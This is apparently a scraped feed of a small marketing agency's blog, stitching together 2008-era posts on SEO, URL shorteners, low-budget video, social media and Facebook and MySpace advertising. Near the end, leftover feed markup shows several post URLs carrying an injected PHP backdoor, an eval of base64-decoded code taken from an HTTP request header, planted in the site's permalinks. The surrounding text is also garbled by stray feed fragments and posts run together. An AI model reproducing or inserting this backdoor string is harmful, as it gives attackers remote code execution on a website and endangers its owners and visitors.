THE BACKGROUND

Reassuringly, Andrew pointed out that search engine optimization is:

• Not Rocket Science or Voodoo
• Not Free Traffic
• Not “Set It and Forget It”

Too true. Managing search is like caring for a useful pet, perhaps a sheep dog. You want to herd the audience to your content. Andrew called it a “funnel to capture intent.” His metaphor is probably better.

THE 3 PILLARS OF SEARCH

Many pundits try to explain the quantum mechanics of search, but Andrew’s summation seems as good as any. Ranking in search rests on three pillars:

1. Accessibility - Can the search engines find you?
2. Relevance - Who related is your content to a particular search?
3. Credibility - How can the search engines tell if you are an expert?

ACCESSIBILITY

Andrew touted the benefits of Sitemaps to create visibility for search engines. These are not the site maps that viewers may use to find pages on your website. Sitemaps (capital “S”) are code documents that index all your content and provide instructions for search engines.

Andrew noted that many tools exist online to help you generate Sitemaps including Google Webmaster, Yahoo Site Explorer and Sitemaps.org.

RELEVANCE

Want to boost relevance - take a look at the stats for your website or blog. What are the entry keywords - that is, what did people search for that led them to you?

Focus your content on the keywords and concepts most dear to your audience. Use your keywords liberally - in links, headlines, body copy and elsewhere.

Write for humans, not search robots, and you will also keep the audience you attract.

CREDIBILITY

Links from other websites to your content, also called incoming links, build cred with the search ‘bots. One sure fire method to build incoming links to to circulate your content widely.

For example, we’ll repost this blog on ActiveRain, the portal for real estate professionals. We also use Feedburner and other services to notify all the search engines when we post and distribute the content to blog aggregators everywhere.

Finally, Andrew mentioned another of our favorite things: deploying an AddThis button on web pages and blog posts. AddThis and other social buttons give your audience a wealth of ways to share and save your content, including bookmarks, email, Facebook and Twitter.

All this enables more sharing of your content and more external links back to you.

SLIDE SHOW PRESENTATION

Andrew conveniently included his slides in an online slideshow.

WordCamp is great for bloggers of all stripes. Thanks to Matt Walters for organizing WCRVA.

Look for more details soon about WordCamp RDU for folks in the Triangle area of North Carolina.

One of the buzz topics last week was Security & Safety. The issue is URL shortening services.

WHAT IS A URL SHORTENER?

Some URLs run to dozens of characters, making them impractical to use. URL shortening services transform long URLs into short ones, thus:

http://searchengineland.com/analysis-which-url-shortening-service-should-you-use-17204

becomes

http://bit.ly/jphUs

Shortened URLs are particularly important on character-limited status services like Twitter (140 characters max).

4 PROBLEMS AND RISKS OF SHORTENERS

Some shorteners are built in to services like Twhirl. Most can be surfed up on the web or added to your toolbar. Very convenient. But what are you getting? And what are the risks?

1. Transparency - I like to see where I’m going before I click.

2. Who’s monitoring my traffic? By introducing a third party between the user and destination, the issue of trust becomes important. Or, as Ronald Reagan used to say, trust but verify.

3. What if the service goes dead? What happens to my links? All of us use links in our content. It would be bad if those links failed because the service provider went belly up. Is there backup of all transformed links?

4. Bogus redirects - All of us get rickrolled once in a while, but shortened URLs potentially open the door to all kinds of click fraud.

THE SOLUTION: USE BIT.LY

Dozens of services have sprung up, in part to serve the booming Twitterati. Danny Sullivan does an in-depth review in SearchEngineLand.

The short answer: Bit.ly. It’s safe and secure. It also has a couple of very cool features:

LINK STATS - I love stats. Now you can have stats on how often and who clicks on your links. Guess what? This can help shape your content to more accurately match your audience.

PREVIEW PLUGIN - This beta plugin for Firefox gives you a cool Flash popup preview of the destination before you click. Voila! Click fraud defeated.

MORE INFO

Got more questions about URL shorteners or security or using social networks for business? Contact us.

• there are 2 billion Google searches a day (source)
• there are 78 million YouTube videos online (source)
• over 100 million YouTube videos are viewed per day
• 346 million people globally read Blogs daily (source)
• 77% of active internet users read Blogs
• Facebook has 175 million users from 170 countries (source)
• Facebook users have an average of 120 friends
• the fastest growing demographic of Facebook users are 35 years old & older

The old economy may be drying up, but the new economy is awash in opportunities. Need a lifeboat? Give us call.

From a viral Trader Joe’s ad that’s had 340,000 views on YouTube to TateShots from the venerable British museum, people are watching TV in a new way.

It’s true: they watch it on their iPhones and on their PCs. They watch at the airport, at a soccer game and at work. Television has become portable, and people watch it when they have a free minute, wherever they might be.

But new channels of distribution aren’t the whole story. A new class of producers is filling the void as the networks stumble and broadcast audiences erode.

Consumer cameras shoot hi-def. Video editing software costs a couple of hundred bucks and runs on budget laptops. And the technology has been around long enough that some people are learning how to use it pretty darn effectively.

We decided to enter the fray with a new show of our own: StreetStyleTV. It’s a quick hit of fashion, fresh off the street, real people wearing real cloths.

We were inspired by streetstyle photoblogs like The Sartorialist and Garance Dore. This is a similar idea, but on video.

We’ve started a website too: StreetStyleTV.com

It’s a WordPress site with a special theme designed for video. The theme, TV.Elements by Press75, ingeniously breaks a post into media and text elements. Take a look at how we deployed it.

The new television is already changing the way we watch. Soon, it will be changing the way we think and feel and act.

In our new video for Luxe Apothecary, a lot of techniques we’d explored came together in one perfect No-Budget Video (NBV) project. Our experience may be a model for others and has already inspired interesting discussions and new assignments.

The development of an effective No-Budget technique can bring television-quality web video to businesses and content producers of all sizes. Here’s what we learned.

RULE #1

You don’t need a crew and a lot of fancy gear to make quality web video. Here is the single most important technique:

Edit video and sound separately

Lots of inexpensive desktop editing programs provide this capability. For the Mac, we like Final Cut. Perhaps readers can share some favorite programs for the PC.

Once you are free from the tyranny of the soundtrack that is recorded when you are shooting, the whole world of filmic communication opens up to you.

SCRIPT

Even though you have no gear and no crew (and presumably no writer or producer) it does not pay to wing it. We script every project. Here are two useful structures for No-Budget Video:

INTERVIEWER TECHNIQUE

Interviews can be about discovery or they can be a vehicle for a marketing message (i.e. a testimonial). Either way, write out a list of questions.

• • If discovery: what do you want to learn?
  • If marketing: what can you ask that will motivate an appropriate answer?
  • Technique: always have the subject look at the interviewer, not the camera

Here’s an example of discovery that Hal produced for the National Football League. Players and fans were asked to name their “Recipes for Success” during the NFL season.

Here’s an example of the marketing technique in an interview:

Both examples used questions to motivate the subjects on camera. The first cost about $100,000 to produce. The second cost less than $1000.

NARRATOR TECHNIQUE

Another great technique for NBV is narrator-driven. The formula is very easy to shoot:

• • Introduce the narrator on camera
  • Use the narrator’s voice under a series of illustrative shots
  • Close with the narrator once again on camera

Here’s our video for Luxe, an example of the narrator technique:

Gear & Crew for the Luxe shoot:

• Camera - Canon 800 miniDV (costs about $250 new if you can still find it)
• Lights - None
• Crew - Just the director
• Editing - Final Cut Express on a laptop

Time - 1.5 hours to shoot; approx 4 hours to edit

PLANNING

Before you start shooting, look at the script and make a list of the shots you need. Plan a couple of backgrounds for your opening and closing titles. Make a thumbnail schedule of how long each shot should take to get.

SHOOTING

Here are a few basic guidelines to getting good results:

• Keep it simple - no fancy camera moves or zooms
• Get a wide establishing shot
• Tell the story in a series close-ups
• Use a mic if you can for important dialogue or narration
• Use available light if it is soft and indirect
• Get what you need, but don’t overshoot

EDITING

Lastly, a few conventions and helpful hints about editing.

Duration - Keep it short. Two minutes is a lot of time to fill.

Selects - when you load your video into your editing program, slice the raw footage up into “selects” or shorter clips. Label each piece descriptively, for example “Intro, Take 1.”

Grab the Main Pieces - You know you’lll have an intro and an ending. Drop those into place on the timeline. Look at your main selects again. Choose the best two or three clips in the project. Fit those on the timeline. Fill in and build your story.

Titles - Text on screen forms an important part of the message, but don’t overdo it. No one likes to read TV.

Wipes, Flips & Dissolves - Don’t use fancy transition devices like mosaic wipes and flips and cube rolls. It distracts from the message. Use a fade up in the beginning, cuts throughout the body and a fade out at the end. Dissolves are used to connect two same-sized shots or to communicate passage of time.

MORE QUESTIONS ABOUT NO-BUDGET VIDEO?

Are you producing No-Budget Video? Do you have an idea for your business but don’t know how to get it done? Drop us a note.

————————

Hal Goodtree's work has been honored with a Cannes Lion and Emmy®.

Almost every business benefits by using photos to help tell their story. Increasingly, businesses are turning to Flickr as the perfect channel for serving their pictures.

In the last few months, a tide of new tools for sharing Flickr photos and sets have flooded the market. For the most part, these are free utilities that you use on the web. You enter some info, click “Create” and grab some code to put on a web page or in your blog.

We’ve found a lot of great tools for re-distributing Flickr photos. Flickr makes its own tools (which are very nice). FlickrSlidr is also cool (see it on our Photo page).

Most of the widgets we found were approximately square in shape: 1:1 or maybe 4:3. So, when we needed a wide horizontal slide show widget (16:9 or better), we searched around and found Slideoo.

Slideoo is simple to use. We created the widget in about 5 minutes. Their embed code worked perfectly (see above).

You can set the width and picture size with Slideoo. The widget above is 500px wide with thumbnail pictures. The widget includes “+/-” buttons and a slider at the bottom. See a different config on our Portfolio page.

The emerging world of widgets lets us concentrate on content, not code, adding cool features without any programming. Slideoo is a great new tool in the utility belt.

IF YOU HAVE A FACEBOOK BUSINESS PAGE

If you already have a Facebook Page for your business, you need to go have a look at what the changes have wrought on your previous design.

Many people had previously used a work-around called Extended Info to add more content to FB Pages. That info is now assigned to the sidebar, leaving the new page mostly blank.

Visit your FB Page, update the content and send a blast to your fans.

IF YOU DON’T HAVE A FACEBOOK PAGE

If you have resisted getting a FB Page for your business, now is the time. With all the new functionality, there is sure to be a rush of new Pages.

Join the fray now. On your FB Home, click on Ads and Pages (on the right, under Applications). If you don’t have Ads and Pages, search under the Applications link and add it.

Malls, mixed-use developments, shopping centers - call them what you will, they dot the landscape of America.

Many of the larger developments have websites. For the most part, they’re pretty awful. So, when we were asked to produce a new website for North Hills, a mixed-use development in Raleigh, NC, our goal was to help bring the category into a Web 2.0 world.

Two months after the launch, we have every reason to feel we’ve achieved. Stats are great, everything works, and best of all, a continuing content stream is beginning to bloom. It’s interesting stuff, too - stories, bios, pictures and video.

So here’s a checklist of things we think a contemporary mall or mixed-use website needs.

The Basics

1. A page for each merchant
2. A picture for each merchant
3. Descriptive text for each merchant (more than just a phone number and an outside link)

It is surprising how few big developments have reached this level of information. See our collection of links for malls and mixed-use developments on Delicious (and please feel free to add links to other sites in the category).

The Finer Points

1. Interactive Map
2. Continuing Content Stream
3. Ad Platform

(1) The interactive map is a challenging bit of engineering and UI. We’ll write more about it soon. (2) In most cases, developing a rich content stream requires cultural change for clients. Training and continued support are mandatory to advance evolutionary adoption of web 2.0 tools like blogs and twitter. (3) Big developments like North Hills have the potential to draw big traffic. Why settle for pennies on the dollar when you could have it all with your own ad platform? Tune in again for a discussion about implementing your own ad server.

Best Practices

To boost the performance of a site in this category as measured by key stats like Time On Site and Page Views, here are a few best practices we can recommend:

1. Minimize outside links
2. Run outside content in an iframe within your site
3. Drive traffic to niches with CPC advertising
4. Pay attention to what Analytics tells you about your audience

The Last, Most Important Point

Like all other advertising and marketing ventures, success is rooted in a good agency-client relationship. We are deeply grateful to Kane Realty Corporation for their vision and their patience throughout this project.

Special thanks to:

• Anna Smith
• Mike Smith
• Bonner Gaylord
• Jon Masterson
• Katherine Knott
• Angela Slater
• Paul Newcomer
• Walt Stewart
• North Hills Security

For Goodtree & Company:

• George Gumpert, master programmer
• David Holt, design
• John Dixon, flash
• Leslie Huffman, merchant database and blogging diva
• Hal Goodtree, precious little

Thanks also to Allen Weiss, Michael Kimsal, Lindsey Chester, Paul Harnett, Dorothea Bitler, Jill Harris, Fiquet, Kevin and Stacey Jennings, Wick Morgan and Jason Peck. And thanks to Jake St. Peter and Mike McTaggart for their generous time.

Please contact us for more information about mall, shopping center and mixed-use development websites.

Brilliant piece from McKinsey:

“Six ways to make Web 2.0 work”

http://tinyurl.com/afouxt

The term “social marketing” dates from the 1970’s and originally defined a concept of using marketing for social good. Today, social marketing means employing user-generated channels on the internet to achieve business goals like reaching a broader audience and motivating action.

Social Marketing Channels

Here’s a quick run down of some popular social networks and how businesses are using them as marketing channels:

Facebook - Businesses can create pages, groups and ads. The FB platform is 5 years old and boasts 1 in 5 internet users worldwide.

Twitter - Sometimes called “microblogging,” messages are no more than 140 characters in length and often contain links to more content. Great tool for a real-time interaction with your audience.

LinkedIn - This portal is all about business and networking. Its social tools are still pretty basic, but users can start groups, republish blogs, post status and employ several other useful features.

ActiveRain - A huge community of real estate professionals. Vibrant blogging community.

Flickr - Popular site for serious photographers (amateur and professional). Millions of users. Flickr is both a utility (a convenient way to serve pictures elsewhere on the web) and a social community.

Ning - Build your own social portal. Works well for niche categories.

YouTube - like, Flickr, YouTube is both a utility and a community. YouTube videos can have a profound effect on search results, catapulting your business to the top of page one.

Delicious - Social bookmarking is a way to share collections of links. See an example of how we use this for Julie Roland Realtor.

Blogs - A huge audience gets news and information from blogs, often without knowing it. Blogs provide businesses with a low-cost personal publishing platform that can accomodate text, pictures, video, links and comments. Blogs are easily shared and republished, making them a powerful social marketing platform.

Viral for the Masses

One of the key attributes of the new social media landscape is the opportunity to launch viral marketing initiatives. “Viral” simply means that you are relying upon your audience to circulate your message.

Where viral happened in the past, it was either carefully engineered or largely by accident. Viral marketing remained a small business.

But social channels including Twitter, LinkedIn and Facebook all contain built-in features that allow anyone, anytime to start something viral. Example:

• “Share a link” on Facebook
• Retweets on Twitter
• Status messages on LinkedIn

What’s better than getting your audience to circulate your message?

Promote Engagement

Social media, which include blogs, promote engagement between marketers and the audience. It’s important to open up all the potential avenues (while protecting yourself from spam, of course). Make it easy for people to comment, share or email your content.

When people take the opportunity to interact with your brand, they are more likely to return, remember and purchase.

The keys to promoting social engagement:

• Real people, real names - audiences respond best to real people using their real names. “info@…” doesn’t cut it in social media.
• Many channels - it’s easy to share your content across many social marketing channels. Enter it once, it appears everywhere. In social marketing, you have to go where your audience congregates, not expect them find you on your outpost in cyberspace.

Those are just a few of the most popular ways businesses are using social marketing. We’d love to hear how you use social marketing to advance your message. Comment here or drop us a note.

All kinds of trends, inspiration, tools and tricks for web designers.

Sure, the blogosphere gets bigger every year. The pool of experts continues to expand (you know you’re one if you read ProBlogger). But even more key, the pool of non-experts is really taking off.

Two things are widening the audience for blogs:

1. Better options for integrating blogs into web pages and social sites
2. “Subscribe by email”

Better Options

Back in the day (last year), you could re-publish your blog as html, allowing you to place it on a web page. Now, you can click a box and syndicate your stuff so it automatically appears on Facebook and Twitter.

Over at WidgetBox, you can build a shiny widget with a few clicks that others can easily use to re-publish your content. About a third of our traffic is coming from off-site syndication.

Bottom line: more people have more places to see your stuff and it doesn’t look like a “blog.”

Subscribe by Email

Feedburner and others give publishers an option to include a “subscribe by email” link. It’s easy to enable - just a few clicks and embed a piece of code.

Feedburner’s email service (free) provides a really clean, professional, business-grade product to the inbox of subscribers. People who “don’t read blogs” are signing up in droves.

Check it out for yourself: Subscribe to our blog by email :)

Call it Anything Else

Call it a Journal or a Notebook or News. Take inspiration from The Sartorialist, Make the Logo Bigger and Slashdot.

Why do we call ours a blog? Cause it’s for experts ;)

BeanCast is produced and hosted by Bob Knorpp.

North Hills is a unique place. It has more local merchants than national chains. It has restaurants, not just fast food. It has underground parking.

It took vision to redevelop an old-skool mall into a modern urban village. In building a new web site for North Hills, we’ve tried to live up to that standard.

North Hills told us to focus on creating quality content. Each store, restaurant and spa has its own page, its own picture and descriptive text. After researching the category, it was surprising to find how few developments had this much information.

We’ve taken over 1500 pictures for the new site (our favorite is the flash panorama on the home page). Many thanks to the management and merchants at North Hills for all their help and patience. Special thanks also to North Hills Security.

Goodtree & Co. credits:

• Leslie Huffman - Project Manager
• George Gumpert - Design & Programming
• David Holt - Senior Designer
• Hal Goodtree - Creative Director

Also thanks to Allen Weiss, Michael Kimsal, Paul Harnett, Anna Smith, Dorothea Bitler and Mike Smith.

More about the things we’ve learned from this project later. Surf up the NorthHillsRaleigh right now and let us know what you think.

Facebook lets you create pages to promote your business. But the functionality is still pretty limited. Here’s a synopsis of our experience with FB Business Pages.

PAGE OWNERSHIP - A DIFFERENT MODEL

Facebook specifically advises that business pages are to be a subset of profiles. That is, they frown upon creating two (or more) profiles (one for a biz and one for an individual). This runs against the model of other social networks including MySpace, YouTube and Flickr.

But FB has a pretty good reason for their approach: the Facebook franchise is based on real people with real email addresses (unlike MySpace where everyone has a slew of profiles).

PAGE DESIGN - WEAK

The options for page design are pretty limited. Most of the Apps you can add to a profile cannot be added to a Business page. FB only offers one generic choice for color and style (white page, black type, blue accents).

FUNCTIONALITY - LIMITED

Pages don’t offer much opportunity to push content out to an audience. I’m a fan of a dozen pages, but never get an update. So, in effect, I forget about a page after the initial contact.

The New York Times has created an App which streams the most-emailed stories to your profile. But creating a custom FB application is totally beyond the means of small advertisers.

FB PAGES - ANALYSIS

Facebook pages have a long way to go before they provide any meaningful value for business. Better to run an ad on FB and direct the traffic to your website or a landing page.

FB is the hot ticket today, but they’d better improve the show before the next circus rolls into town.

Along comes Twitter. It’s not exactly new, but of late has been growing by leaps in acceptance and usage.

Twitter is sometimes called a “microblog.” Most posts are one line. Including a link is popular. People use them as status updates or even marketing channels. You can grab the feed and display it on a standard web page.

Your “tweets” go out to all those who are “following you” just like friends on Facebook or Contacts on Flickr and Linked In. But you can also “direct message” individual contacts. Which is where AOL gets in to trouble.

Why do I need an IM client (like AIM) open on my desktop hogging up RAM and real estate when all my pals are on Twitter now? I can just “dm” them from Twirl or Tweekdeck.

You can follow me on Twitter @hal990. I probably won’t be AIM so much anymore.

Active Rain, of course, is the largest portal for real estate professionals in the U.S. with over 100,000 users.

I re-published my own content from this blog to my blog on Active Rain. Guess what? Lot more people saw it as evidenced by the comments.

Over the weekend, Mike Jaquish alerted me that the post had be re-blogged by someone in Florida. Is this legal? Heck, yeah! You can choose whether or not to allow your content to be re-blogged, but generally it is considered a means to a larger audience. What’s good for SNL and David Pogue is good for you and me too.

Result: a few hundred more people have seen my content (Pogue hates that word), some have commented, and maybe a couple will take the time to search our Goodtree & Company.

THE FIRST STEP

The first thing to do if you want to advertise on Facebook is get yourself a profile. It’s free. Ads are used to promote Facebook Pages. Pages are associated with your profile.

You can build an unlimited number of pages on Facebook. But you can only have ONE profile. The rules and regs are very specific. You cannot create a second identity for your business.

MAKING AN AD

Once you have a profile and have created a page for your business, you’re ready to advertise. Select Ads & Pages from the menu of the right side of your Home.

On the top right, select Create an Ad.

The process involves four simple steps (and is a wonder of user-friendly design):

• Select a target (where do you want the ad to link)
• Create the ad (text and picture)
• Choose a target demographic
• Set a budget (how much per day, how much per click)

STEP 1 - TARGET

When viewers click on your ad, they are taken somewhere on the web. In step one, you selected where you want to send your traffic.

You can send your audience to an external web page, a Facebook Page (as we’ve selected) or you can copy an existing ad.

STEP 2 - CREATE AN AD

Creating an ad is as easy as writing a headline and a little body copy, then uploading a picture.

Help is always available on the right side of the page.

STEP 3 - DEMOGRAPHIC

Here’s where it gets interesting. Choose the region or city you want to reach. Add keywords that target your audience. Watch the audience size change as you alter the variables.

STEP 4 - BUDGET

Advertising is a relatively new thing on Facebook. Rates are pretty cheap and the site is not yet over-run with competing promotional messages. $25 gets you started.

Once you create a campaign, you can edit the budget and schedule. It’s a little counter-intuitive, but works ok in practice.

REVIEW YOUR CAMPAIGN

You get one last chance to review the campaign.

Change the ad or place the order.

WHY FACEBOOK IS A GOOD PLACE TO ADVERTISE

Lots of people want you to advertise with them online. What’s different about Facebook is that it’s like being invited to advertise in someone’s home.

The process is easy. The rates are cheap. The channel is relatively uncluttered. Why not give it a try?

]]> http://goodtreecompany.com/wordpress/2008/10/14/advertising-on-facebook/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://goodtreecompany.com/wordpress/2008/10/07/advertising-on-myspace/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2008/10/07/advertising-on-myspace/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 07 Oct 2008 15:30:48 +0000 Hal http://goodtreecompany.com/wordpress/?p=235 Both MySpace and Facebook have beefed up their offerings for advertisers. Today, we’ll talk a little about M/S because it has the more robust interface.

First of all, you don’t need a myspace account or a myspace profile to advertise. Even if you have a profile, you need to create a separate account for advertising.

Ads can be targeted by geography, gender, age and interest.

As well, MySpace ads offer interesting stats, just what you’d expect from a Google company. But maybe the best feature is Build an Ad:

Build an Ad has an easy-to-use interface that offers a lot of creative options. You can build a box ad or a banner. Use a pre-made template or upload a picture. Size, scale and color your fonts. Experienced designers and novices will like this feature.

AUDIENCE

Finally, a word about the audience. Every social portal has it’s own vibe and character. Here’s what we think:

• MySpace is like a bar
• Facebook is like the YMCA

If your product or service targets the party crowd - 21 to 30, not married - then MySpace has a powerful new way for you to reach your elusive audience. It’s not just for brewers of beer - MySpace is a great channel for reaching young adults interested in fitness, fashion, health, culture and more.

If your audience is adults 30 and up, tune in again for our upcoming post on Facebook advertising.

]]> http://goodtreecompany.com/wordpress/2008/10/07/advertising-on-myspace/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ http://goodtreecompany.com/wordpress/2008/08/29/social-networking-the-big-three-for-business/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://goodtreecompany.com/wordpress/2008/08/29/social-networking-the-big-three-for-business/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Fri, 29 Aug 2008 15:10:28 +0000 Hal http://goodtreecompany.com/wordpress/?p=226 There are thousands of social portals on the internet, from massively mainstream to fantastically fringe. But lately, three social networks have emerged as must-haves for business people in a Web 2.0 world.

From start-ups to superstars in five years, social networking on the internet has swept across the planet, embracing the youngest users (teens) and washing upward like a tide. The tide has finally reached the baby boomers.

Last year, adults started watching YouTube in large numbers. This year, Facebook has surged since it opened it’s ranks to everyone. And Linked In, which was always about business, has added some significant new features that will advance it strongly into the future.

Every business has a story to tell and web video is the most powerful, persuasive way to tell it. YouTube is far and away the preeminent channel for serving and sharing video online.

It started as a network for students. It’s had its share of controversy. But in 2008, adults have been joining Facebook in a stampede. Reasons why FB is a must-have for business:

1. More wholesome than MySpace - FB feels like a giant picnic for family and friends. MySpace feels like a bar.
2. Real Names, Real Friends - With its emphasis on real names, FB lets you re-connect with your real-world friends, relatives and colleagues. These are people who already know you and trust you.

While not as mature as the first two, Linked In has become a very popular network for renewing business connections. It’s skewed toward people with longer careers - they tend to have more connections, recommendations and better resumes than younger workers. Today, LI rolled out some huge new enhancements to Linked In Groups. More about LI’s new features next week.

Participating in social networks increases the reach of your personal and professional message. It raises your rankings in search. But it’s also a time consuming process.

That’s why it’s good to see the dust settle a little, and three networks emerge as clear winners for business. Other portals have their charms, but people in business need to be on The Big Three In to stay relevant in a Web 2.0 world.